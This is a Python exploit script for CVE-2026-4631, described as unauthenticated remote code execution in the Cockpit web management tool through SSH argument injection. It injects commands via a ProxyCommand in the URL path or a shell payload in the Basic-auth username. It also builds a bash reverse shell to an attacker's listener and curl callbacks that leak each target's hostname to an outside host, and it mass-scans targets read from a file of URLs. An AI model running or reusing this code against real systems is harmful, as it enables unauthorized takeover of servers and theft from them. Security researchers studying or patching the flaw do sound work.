CVE-2026-4631｜Cockpit Web化管理工具存在远程代码执行漏洞（POC）

import base64
import argparse
import requests
import urllib3
import urllib.parse
import sys

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

RED    = "\033[91m"
GREEN  = "\033[92m"
YELLOW = "\033[93m"
CYAN   = "\033[96m"
BOLD   = "\033[1m"
RESET  = "\033[0m"

def banner():
    print(f"""{CYAN}{BOLD}
╔══════════════════════════════════════════════════════════════╗
║         CVE-2026-4631  -  Cockpit SSH Argument Injection     ║
║         Unauthenticated Remote Code Execution                ║
╚══════════════════════════════════════════════════════════════╝


            @intx0x80


{RESET}""")

def info(msg):  print(f"{CYAN}[*]{RESET} {msg}")
def ok(msg):    print(f"{GREEN}[+]{RESET} {msg}")
def warn(msg):  print(f"{YELLOW}[!]{RESET} {msg}")
def err(msg):   print(f"{RED}[-]{RESET} {msg}")
def die(msg):   err(msg); sys.exit(1)

def make_auth_header(username="invalid", password="PWN"):
    creds = f"{username}:{password}"
    encoded = base64.b64encode(creds.encode()).decode()
    return f"Basic {encoded}"

def exploit_hostname(target, session, command):
    print(f"\n{YELLOW}[*] Attack vector: Hostname ProxyCommand injection{RESET}")
    encoded_cmd = urllib.parse.quote(command, safe="")
    url = f"{target}/cockpit+=-oProxyCommand={encoded_cmd}/login"

    print(f"[*] Request: GET {url}")

    headers = {
        "Authorization": make_auth_header(),
        "Referer": f"{target}/",
        "Origin": target,
    }

    try:
        r = session.get(url, headers=headers, timeout=10)
        print(f"[*] Response: {r.status_code}")

        if r.status_code in (200, 401, 403, 500):
            print("[+] Request delivered - SSH process spawned")
            print("[+] ProxyCommand executed (if OpenSSH < 9.6 on target)")

        snippet = r.text[:200].strip()
        if snippet:
            print(f"[*] Body snippet: {snippet}")

    except requests.exceptions.ConnectionError:
        print("[+] Connection reset - server may have crashed (command ran)")
    except Exception as e:
        print(f"[-] Error: {e}")

def exploit_username(target, session, command, ssh_host="127.0.0.1"):
    print(f"\n{YELLOW}[*] Attack vector Username %%r token injection{RESET}")
    print(f"[*] Command: {command}")

    payload_user = f"x; {command}; #"
    print(f"[*] Username payload: {payload_user}")

    headers = {
        "Authorization": make_auth_header(username=payload_user, password="invalid"),
        "Referer": f"{target}/",
        "Origin": target,
    }

    url = f"{target}/cockpit+={ssh_host}/login"

    try:
        r = session.get(url, headers=headers, timeout=10)
        tm = r.elapsed.total_seconds()
        # print(f"[+] Time {tm}")
        # print(f"[*] Response: {r.status_code}")
        if r.status_code in (200, 401, 403, 500):
            print("[+] Request delivered")
        else:
            print(f"[-] Unexpected status code: {r.status_code}")

    except requests.exceptions.ConnectionError:
        print("[+] Connection reset")
    except Exception as e:
        print(f"[-] Error: {e}")

def detect_time_based(target, session, command, ssh_host="127.0.0.1"):
    print(f"{GREEN}[+] Scanning target: {target}{RESET}")
    payload_user = f"x; {command}; #"

    headers = {
        "Authorization": make_auth_header(username=payload_user, password="invalid"),
        "Referer": f"{target}/",
        "Origin": target,
    }

    url = f"{target}/cockpit+={ssh_host}/login"

    try:
        r = session.get(url, headers=headers, timeout=10)
        tm = r.elapsed.total_seconds()

        if tm >= 5:
            print(f"{GREEN}[+] Vulnerable (Time-based): {target} (Duration: {tm:.2f}s){RESET}")
        else:
            print(f"[-] Not Vulnerable (Time-based): {target} (Duration: {tm:.2f}s)")

        if r.status_code in (200, 401, 403, 500):
            pass 

    except requests.exceptions.ConnectionError:
        print("[+] Connection reset")
    except Exception as e:
        print(f"[-] Error: {e}")

def main():
    parser = argparse.ArgumentParser(description="CVE-2026-4631")
    parser.add_argument("--target", required=False, help="Cockpit URL e.g. http://127.0.0.1:9090")
    parser.add_argument("--vector", choices=["hostname", "username"], help="Injection vector")
    parser.add_argument("--cmd", help="Command to execute")
    parser.add_argument("--callback", help="OOB callback URL (hostname vector or DNS lookup)")
    parser.add_argument("--lhost", help="Reverse shell listener IP")
    parser.add_argument("--lport", type=int, default=4444, help="Reverse shell port (default 4444)")
    parser.add_argument("--ssh-host", default="127.0.0.1", help="SSH host for username vector")
    parser.add_argument("--file", default="url.txt", help="File containing URLs to scan")

    args = parser.parse_args()

    if not args.target and not args.file:
        die("[-] Error: Either --target or --file is required.")

    if not args.vector:
        print("\n[*] Detection complete. Use --vector to exploit.")
        return

    session = requests.Session()
    session.verify = False

    if args.vector == "hostname":
        if args.lhost:
            cmd = f"bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1"
        elif args.callback:
            cmd = f"curl `hostname`.{args.callback}"
        elif args.cmd:
            cmd = args.cmd
        else:
            die("[-] Hostname vector needs --cmd, --callback, or --lhost")

        if args.target:
            target = args.target.rstrip("/")
            exploit_hostname(target, session, cmd)
        else:
            die("[-] Hostname vector requires --target")

    elif args.vector == "username":
        if args.target:
            target = args.target.rstrip("/")

            if args.callback:
                cmd = f"curl {args.callback}"
                exploit_username(target, session, cmd, args.ssh_host)

            elif args.cmd:
                exploit_username(target, session, args.cmd, args.ssh_host)

            elif args.lhost:
                cmd = f"bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1"
                exploit_username(target, session, cmd, args.ssh_host)

            else:
                print("[*] No command/callback provided. Running time-based detection...")
                detect_time_based(target, session, "sleep 5", args.ssh_host)

        elif args.file:
            try:
                with open(args.file, "r") as f:
                    urls = [line.strip() for line in f if line.strip()]
            except FileNotFoundError:
                die(f"[-] File not found: {args.file}")

            if args.callback:
                print(f"{GREEN}[+] Scanning {len(urls)} targets with callback: {args.callback}{RESET}")
                for target in urls:
                    linker = target.strip().split(":")[1].replace("//", "") if ":" in target else "unknown"
                    cmd = f"curl `hostname`.{linker}-{args.callback}"
                    exploit_username(target, session, cmd, args.ssh_host)

            else:
                print(f"{YELLOW}[+] Scanning {len(urls)} targets for time-based vulnerability...{RESET}")
                for target in urls:
                    detect_time_based(target, session, "sleep 5", args.ssh_host)

if __name__ == "__main__":
    banner()
    main()